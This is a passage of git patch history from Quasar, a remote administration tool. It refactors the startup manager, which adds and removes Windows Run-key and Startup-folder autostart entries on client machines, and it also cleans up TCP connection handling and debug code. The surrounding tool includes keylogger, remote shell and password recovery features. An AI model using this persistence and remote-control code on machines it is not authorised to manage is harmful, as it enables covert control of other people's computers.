"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 3: + case StartupType.CurrentUserRunOnce: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 4: + case StartupType.LocalMachineWoW64Run: if (!PlatformHelper.Is64Bit) throw new NotSupportedException("Only on 64-bit systems supported"); if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 5: + case StartupType.LocalMachineWoW64RunOnce: if (!PlatformHelper.Is64Bit) throw new NotSupportedException("Only on 64-bit systems supported"); if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 6: - string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name); + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.StartupItem.Name); if (!File.Exists(startupItemPath)) throw new IOException("File does not exist"); diff --git a/Client/Core/Commands/TcpConnectionsHandler.cs b/Client/Core/Commands/TcpConnectionsHandler.cs index 1cbe4e1e0..a10a77fb3 100644 --- a/Client/Core/Commands/TcpConnectionsHandler.cs +++ b/Client/Core/Commands/TcpConnectionsHandler.cs @@ -1,10 +1,10 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using System; using System.Diagnostics; using System.Net; using System.Runtime.InteropServices; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; using xClient.Core.Networking; namespace xClient.Core.Commands @@ -47,7 +47,6 @@ public static void HandleGetConnections(Client client, GetConnections packet) public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) { var table = GetTable(); - var matchFound = false; for (var i = 0; i < table.Length; i++) { @@ -58,7 +57,6 @@ public static void HandleDoCloseConnection(Client client, DoCloseConnection pack packet.RemotePort== table[i].RemotePort) { // it will close the connection only if client run as admin - matchFound = true; //table[i].state = (byte)ConnectionStates.Delete_TCB; table[i].state = 12; // 12 for Delete_TCB state var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); @@ -66,11 +64,6 @@ public static void HandleDoCloseConnection(Client client, DoCloseConnection pack SetTcpEntry(ptr); } } - - if (matchFound) - { - HandleGetConnections(client, new GetConnections()); - } } public static MibTcprowOwnerPid[] GetTable() diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 16a84fb62..67d9a5131 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -365,13 +365,13 @@ public static bool ContainsValue(this RegistryKey key, string name) /// /// The registry key of which the values are obtained. /// Yield returns formatted strings of the key and the key value. - public static IEnumerable GetFormattedKeyValues(this RegistryKey key) + public static IEnumerable> GetKeyValues(this RegistryKey key) { if (key == null) yield break; foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) { - yield return string.Format("{0}||{1}", k, key.GetValueSafe(k)); + yield return new Tuple(k, key.GetValueSafe(k)); } } diff --git a/Quasar.Common/Enums/StartupType.cs b/Quasar.Common/Enums/StartupType.cs new file mode 100644 index 000000000..9ca848804 --- /dev/null +++ b/Quasar.Common/Enums/StartupType.cs @@ -0,0 +1,13 @@ +namespace Quasar.Common.Enums +{ + public enum StartupType + { + LocalMachineRun, + LocalMachineRunOnce, + CurrentUserRun, + CurrentUserRunOnce, + LocalMachineWoW64Run, + LocalMachineWoW64RunOnce, + StartMenu + } +} diff --git a/Quasar.Common/Messages/DoStartupItemRemove.cs b/Quasar.Common/Messages/DoStartupItemRemove.cs index 4016dac48..44c67dfa0 100644 --- a/Quasar.Common/Messages/DoStartupItemRemove.cs +++ b/Quasar.Common/Messages/DoStartupItemRemove.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,12 +7,6 @@ namespace Quasar.Common.Messages public class DoStartupItemRemove : IMessage { [ProtoMember(1)] - public string Name { get; set; } - - [ProtoMember(2)] - public string Path { get; set; } - - [ProtoMember(3)] - public int Type { get; set; } + public StartupItem StartupItem { get; set; } } } diff --git a/Quasar.Common/Messages/GetStartupItemsResponse.cs b/Quasar.Common/Messages/GetStartupItemsResponse.cs index 41409fc1e..9dd2eda7a 100644 --- a/Quasar.Common/Messages/GetStartupItemsResponse.cs +++ b/Quasar.Common/Messages/GetStartupItemsResponse.cs @@ -1,5 +1,6 @@ -using System.Collections.Generic; -using ProtoBuf; +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; namespace Quasar.Common.Messages { @@ -7,6 +8,6 @@ namespace Quasar.Common.Messages public class GetStartupItemsResponse : IMessage { [ProtoMember(1)] - public List StartupItems { get; set; } + public List StartupItems { get; set; } } } diff --git a/Quasar.Common/Models/StartupItem.cs b/Quasar.Common/Models/StartupItem.cs index 7ec5434f4..0e1a090ab 100644 --- a/Quasar.Common/Models/StartupItem.cs +++ b/Quasar.Common/Models/StartupItem.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Enums; namespace Quasar.Common.Models { @@ -12,7 +13,6 @@ public class StartupItem public string Path { get; set; } [ProtoMember(3)] - public int Type { get; set; } - // TODO: Change to Enum + public StartupType Type { get; set; } } } diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 520539bca..7917d02ec 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -47,6 +47,7 @@ + diff --git a/Server/Core/Commands/StartupManagerHandler.cs b/Server/Core/Commands/StartupManagerHandler.cs new file mode 100644 index 000000000..6abebffdc --- /dev/null +++ b/Server/Core/Commands/StartupManagerHandler.cs @@ -0,0 +1,77 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System.Collections.Generic; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class StartupManagerHandler : MessageProcessorBase> + { + /// + /// The client which is associated with this startup manager handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public StartupManagerHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItemsResponse items: + Execute(sender, items); + break; + } + } + + /// + /// Refreshes the current startup items. + /// + public void RefreshStartupItems() + { + _client.Send(new GetStartupItems()); + } + + /// + /// Removes an item from startup. + /// + /// Startup item to remove. + public void RemoveStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemRemove {StartupItem = item}); + } + + /// + /// Adds an item to startup. + /// + /// Startup item to add. + public void AddStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + private void Execute(ISender client, GetStartupItemsResponse message) + { + OnReport(message.StartupItems); + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs deleted file mode 100644 index c046b82a6..000000000 --- a/Server/Core/Commands/SystemHandler.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Quasar.Common.Messages; -using System; -using System.Windows.Forms; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ - public static partial class CommandHandler - { - public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet) - { - if (client.Value == null || client.Value.FrmStm == null || packet.StartupItems == null) - return; - - foreach (var item in packet.StartupItems) - { - if (client.Value == null || client.Value.FrmStm == null) return; - - int type; - if (!int.TryParse(item.Substring(0, 1), out type)) continue; - - string preparedItem = item.Remove(0, 1); - var temp = preparedItem.Split(new string[] { "||" }, StringSplitOptions.None); - var l = new ListViewItem(temp) - { - Group = client.Value.FrmStm.GetGroup(type), - Tag = type - }; - - if (l.Group == null) - return; - - client.Value.FrmStm.AddAutostartItemToListview(l); - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index b9caf4517..2aafeb0ab 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -39,11 +39,6 @@ public static void HandlePacket(Client client, IMessage packet) CommandHandler.HandleDoShellExecuteResponse(client, (DoShellExecuteResponse)packet); } - else if (type == typeof(GetStartupItemsResponse)) - { - CommandHandler.HandleGetStartupItemsResponse(client, - (GetStartupItemsResponse)packet); - } else if (type == typeof(GetKeyloggerLogsResponse)) { CommandHandler.HandleGetKeyloggerLogsResponse(client, (GetKeyloggerLogsResponse)packet); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index dbeed59a6..79623abf8 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -27,7 +27,6 @@ public class UserState : IDisposable public FrmTaskManager FrmTm { get; set; } public FrmRegistryEditor FrmRe { get; set; } public FrmRemoteShell FrmRs { get; set; } - public FrmStartupManager FrmStm { get; set; } public FrmKeylogger FrmKl { get; set; } public FrmReverseProxy FrmProxy { get; set; } public FrmPasswordRecovery FrmPass { get; set; } @@ -53,8 +52,6 @@ protected virtual void Dispose(bool disposing) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); if (FrmRs != null) FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); }); - if (FrmStm != null) - FrmStm.Invoke((MethodInvoker)delegate { FrmStm.Close(); }); if (FrmKl != null) FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); }); if (FrmProxy != null) diff --git a/Server/Forms/FrmConnections.cs b/Server/Forms/FrmConnections.cs index 940bbfa04..b9b46238b 100644 --- a/Server/Forms/FrmConnections.cs +++ b/Server/Forms/FrmConnections.cs @@ -50,6 +50,10 @@ public static FrmConnections CreateNewOrGetExisting(Client client) return f; } + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. public FrmConnections(Client client) { _connectClient = client; @@ -143,10 +147,18 @@ private void refreshToolStripMenuItem_Click(object sender, EventArgs e) private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) { + bool modified = false; + foreach (ListViewItem lvi in lstConnections.SelectedItems) { _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); + modified = true; + } + + if (modified) + { + _connectionsHandler.RefreshTcpConnections(); } } } diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index a66ae0c80..c0fed6bfb 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -392,7 +392,7 @@ private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) { string path = GetAbsolutePath(files.SubItems[0].Text); - using (var frm = new FrmAddToAutostart(path)) + using (var frm = new FrmStartupAdd(path)) { if (frm.ShowDialog() == DialogResult.OK) { diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 7ffd4ce84..b76464d29 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -559,13 +559,9 @@ private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmStm != null) - { - c.Value.FrmStm.Focus(); - return; - } - FrmStartupManager frmStm = new FrmStartupManager(c); + FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c); frmStm.Show(); + frmStm.Focus(); } } diff --git a/Server/Forms/FrmAddToAutostart.Designer.cs b/Server/Forms/FrmStartupAdd.Designer.cs similarity index 99% rename from Server/Forms/FrmAddToAutostart.Designer.cs rename to Server/Forms/FrmStartupAdd.Designer.cs index 279768778..bb0742f36 100644 --- a/Server/Forms/FrmAddToAutostart.Designer.cs +++ b/Server/Forms/FrmStartupAdd.Designer.cs @@ -1,6 +1,6 @@ namespace xServer.Forms { - partial class FrmAddToAutostart + partial class FrmStartupAdd { /// /// Required designer variable. @@ -29,7 +29,7 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAddToAutostart)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd)); this.groupAutostartItem = new System.Windows.Forms.GroupBox(); this.lblType = new System.Windows.Forms.Label(); this.cmbType = new System.Windows.Forms.ComboBox(); diff --git a/Server/Forms/FrmAddToAutostart.cs b/Server/Forms/FrmStartupAdd.cs similarity index 79% rename from Server/Forms/FrmAddToAutostart.cs rename to Server/Forms/FrmStartupAdd.cs index 6e3826c84..be334726f 100644 --- a/Server/Forms/FrmAddToAutostart.cs +++ b/Server/Forms/FrmStartupAdd.cs @@ -2,21 +2,22 @@ using System; using System.IO; using System.Windows.Forms; +using Quasar.Common.Enums; using xServer.Core.Helper; namespace xServer.Forms { - public partial class FrmAddToAutostart : Form + public partial class FrmStartupAdd : Form { public StartupItem StartupItem { get; set; } - public FrmAddToAutostart() + public FrmStartupAdd() { InitializeComponent(); AddTypes(); } - public FrmAddToAutostart(string startupPath) + public FrmStartupAdd(string startupPath) { InitializeComponent(); AddTypes(); @@ -25,8 +26,15 @@ public FrmAddToAutostart(string startupPath) txtPath.Text = startupPath; } + /// + /// Adds all supported startup types to ComboBox groups. + /// + /// + /// Must be in same order as . + /// private void AddTypes() { + // must be in same order as StartupType cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); @@ -39,7 +47,8 @@ private void AddTypes() private void btnAdd_Click(object sender, EventArgs e) { - StartupItem = new StartupItem {Name = txtName.Text, Path = txtPath.Text, Type = cmbType.SelectedIndex}; + StartupItem = new StartupItem + {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex}; this.DialogResult = DialogResult.OK; this.Close(); diff --git a/Server/Forms/FrmAddToAutostart.resx b/Server/Forms/FrmStartupAdd.resx similarity index 100% rename from Server/Forms/FrmAddToAutostart.resx rename to Server/Forms/FrmStartupAdd.resx diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index 11ef54889..d4f7b888e 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -1,8 +1,11 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using Quasar.Common.Messages; -using xServer.Core.Data; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; @@ -10,119 +13,171 @@ namespace xServer.Forms { public partial class FrmStartupManager : Form { + /// + /// The client which can be used for the startup manager. + /// private readonly Client _connectClient; - public FrmStartupManager(Client c) + /// + /// The message handler for handling the communication with the client. + /// + private readonly StartupManagerHandler _startupManagerHandler; + + /// + /// Holds the opened startup manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new startup manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the startup manager form. + /// + /// Returns a new startup manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmStartupManager CreateNewOrGetExisting(Client client) { - _connectClient = c; - _connectClient.Value.FrmStm = this; + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmStartupManager f = new FrmStartupManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmStartupManager(Client client) + { + _connectClient = client; + _startupManagerHandler = new StartupManagerHandler(client); + + RegisterMessageHandler(); InitializeComponent(); } - private void FrmStartupManager_Load(object sender, EventArgs e) + /// + /// Registers the startup manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _startupManagerHandler.ProgressChanged += StartupItemsChanged; + MessageHandler.Register(_startupManagerHandler); + } + + /// + /// Unregisters the startup manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_startupManagerHandler); + _startupManagerHandler.ProgressChanged -= StartupItemsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) { - if (_connectClient != null) + if (!connected) { - this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); - AddGroups(); - _connectClient.Send(new GetStartupItems()); + this.Invoke((MethodInvoker)this.Close); } } + private void FrmStartupManager_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); + + AddGroups(); + _startupManagerHandler.RefreshStartupItems(); + } + + private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _startupManagerHandler.Dispose(); + } + + /// + /// Adds all supported startup types as ListView groups. + /// private void AddGroups() { lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")); + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.LocalMachineRun}); lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.LocalMachineRunOnce}); lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")); + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.CurrentUserRun}); lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.CurrentUserRunOnce}); lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")); + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.LocalMachineWoW64Run}); lstStartupItems.Groups.Add( - new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")); - lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")); + new ListViewGroup( + "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.LocalMachineWoW64RunOnce}); + lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") + {Tag = StartupType.StartMenu}); } - private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) + /// + /// Called whenever a startup item changed. + /// + /// The message handler which raised the event. + /// The current startup items of the client. + private void StartupItemsChanged(object sender, List startupItems) { - if (_connectClient.Value != null) - _connectClient.Value.FrmStm = null; - } + lstStartupItems.Items.Clear(); - #region "ContextMenuStrip" + foreach (var item in startupItems) + { + var i = lstStartupItems.Groups.Cast().First(x => (StartupType)x.Tag == item.Type); + ListViewItem lvi = new ListViewItem(new[] {item.Name, item.Path}) {Group = i, Tag = item}; + lstStartupItems.Items.Add(lvi); + } + } private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) { - using (var frm = new FrmAddToAutostart()) + using (var frm = new FrmStartupAdd()) { if (frm.ShowDialog() == DialogResult.OK) { - _connectClient.Send(new DoStartupItemAdd {StartupItem = frm.StartupItem}); - lstStartupItems.Items.Clear(); - _connectClient.Send(new GetStartupItems()); + _startupManagerHandler.AddStartupItem(frm.StartupItem); + _startupManagerHandler.RefreshStartupItems(); } } } private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e) { - int modified = 0; - foreach (ListViewItem item in lstStartupItems.SelectedItems) - { - if (_connectClient != null) - { - int type = lstStartupItems.Groups.Cast().TakeWhile(t => t != item.Group).Count(); - _connectClient.Send(new DoStartupItemRemove - { - Name = item.Text, - Path = item.SubItems[1].Text, - Type = type - }); - } - modified++; - } + bool modified = false; - if (modified > 0 && _connectClient != null) - { - lstStartupItems.Items.Clear(); - _connectClient.Send(new GetStartupItems()); - } - } - - #endregion - - public void AddAutostartItemToListview(ListViewItem lvi) - { - try - { - lstStartupItems.Invoke((MethodInvoker) delegate - { - lstStartupItems.Items.Add(lvi); - }); - } - catch (InvalidOperationException) + foreach (ListViewItem item in lstStartupItems.SelectedItems) { + _startupManagerHandler.RemoveStartupItem((StartupItem)item.Tag); + modified = true; } - } - public ListViewGroup GetGroup(int group) - { - ListViewGroup g = null; - try - { - lstStartupItems.Invoke((MethodInvoker) delegate - { - g = lstStartupItems.Groups[group]; - }); - } - catch (InvalidOperationException) + if (modified) { - return null; + _startupManagerHandler.RefreshStartupItems(); } - return g; } } -} \ No newline at end of file +} diff --git a/Server/Server.csproj b/Server/Server.csproj index 94b66d345..5785aae85 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,6 +115,7 @@ + @@ -139,7 +140,6 @@ - @@ -170,11 +170,11 @@ FrmAbout.cs - + Form - - FrmAddToAutostart.cs + + FrmStartupAdd.cs Form @@ -328,8 +328,8 @@ FrmAbout.cs - - FrmAddToAutostart.cs + + FrmStartupAdd.cs FrmBuilder.cs From 88e9c6301a15e178be9de97bb58a8c6b17b8b222 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 16 Sep 2018 20:24:58 +0200 Subject: [PATCH 121/229] Update resources --- Server/Properties/Resources.Designer.cs | 21 +-------------------- Server/Properties/Resources.resx | 19 ------------------- 2 files changed, 1 insertion(+), 39 deletions(-) diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index 54e678438..80ae2e9ee 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -19,7 +19,7 @@ namespace xServer.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -450,25 +450,6 @@ internal static System.Drawing.Bitmap terminal { } } - /// - /// Looks up a localized string similar to Quasar - Remote Administration Tool - /// Copyright (C) 2016 MaxX0r - /// - /// Quasar is free software: you can redistribute it and/or modify - /// it under the terms of the GNU General Public License as published by - /// the Free Software Foundation, either version 3 of the License, or - /// (at your option) any later version. - /// - /// Quasar is distributed in the hope that it will be useful, - /// but WITHOUT ANY WARRANTY; without even the implied warranty of - /// MERCHANTABILITY or FITNESS FOR A PARTICULAR PUR [rest of string was truncated]";. - /// - internal static string TermsOfUse { - get { - return ResourceManager.GetString("TermsOfUse", resourceCulture); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 1b656e4a5..3e2668ed5 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -199,25 +199,6 @@ ..\images\application_add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - Quasar - Remote Administration Tool - Copyright (C) 2016 MaxX0r - - Quasar is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Quasar is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. - - By using this product you agree to everything specified above. - ..\images\drive_go.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a From 0df911bc8427926b291bb86da5bfe136aa69f24c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 17 Sep 2018 09:11:07 +0200 Subject: [PATCH 122/229] Remove some debug code --- Server/Core/Networking/Client.cs | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs index bab1d933f..7eb051f00 100644 --- a/Server/Core/Networking/Client.cs +++ b/Server/Core/Networking/Client.cs @@ -479,7 +479,6 @@ private void AsyncReceive(object state) isError = _payloadBuffer.Length == 0; // check if payload decryption failed } - int compressedSize = _payloadBuffer.Length; if (!isError) { if (compressionEnabled) @@ -506,16 +505,6 @@ private void AsyncReceive(object state) break; } - int uncompressedSize = _payloadBuffer.Length; - double ratio = (double)uncompressedSize / compressedSize - 1; - - string save = "nothing"; - if (ratio > 0) - save = Helper.FileHelper.GetDataSize(uncompressedSize - compressedSize); - - System.Diagnostics.Debug.WriteLine($"Read ratio: {ratio}, saved {save}"); - - using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) { try @@ -649,14 +638,8 @@ private void Send(object state) private byte[] BuildMessage(byte[] payload) { - int uncompressedSize = payload.Length; // 1300 if (compressionEnabled) payload = SafeQuickLZ.Compress(payload); - int compressedSize = payload.Length; // 1000 - - double ratio = (double)uncompressedSize / compressedSize - 1; - - System.Diagnostics.Debug.WriteLine($"Send ratio: {ratio}"); if (encryptionEnabled) payload = AES.Encrypt(payload); From 6dc2d2ea135604339564eec6a6d129baa4ec65df Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 17 Sep 2018 09:11:28 +0200 Subject: [PATCH 123/229] Update About dialog --- Server/Forms/FrmAbout.Designer.cs | 23 ++++++++++++----------- Server/Forms/FrmAbout.cs | 8 ++++---- Server/Properties/Resources.Designer.cs | 20 ++++++++++++++++++++ Server/Properties/Resources.resx | 23 +++++++++++++++++++++++ 4 files changed, 59 insertions(+), 15 deletions(-) diff --git a/Server/Forms/FrmAbout.Designer.cs b/Server/Forms/FrmAbout.Designer.cs index bbd3b6312..b8d447471 100644 --- a/Server/Forms/FrmAbout.Designer.cs +++ b/Server/Forms/FrmAbout.Designer.cs @@ -64,7 +64,7 @@ private void InitializeComponent() // lblVersion // this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblVersion.Location = new System.Drawing.Point(341, 40); + this.lblVersion.Location = new System.Drawing.Point(438, 41); this.lblVersion.Name = "lblVersion"; this.lblVersion.Size = new System.Drawing.Size(75, 13); this.lblVersion.TabIndex = 2; @@ -74,7 +74,7 @@ private void InitializeComponent() // btnOkay // this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.btnOkay.Location = new System.Drawing.Point(341, 319); + this.btnOkay.Location = new System.Drawing.Point(438, 370); this.btnOkay.Name = "btnOkay"; this.btnOkay.Size = new System.Drawing.Size(75, 23); this.btnOkay.TabIndex = 7; @@ -84,11 +84,12 @@ private void InitializeComponent() // // rtxtContent // + this.rtxtContent.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.rtxtContent.Location = new System.Drawing.Point(15, 112); this.rtxtContent.Name = "rtxtContent"; this.rtxtContent.ReadOnly = true; this.rtxtContent.ScrollBars = 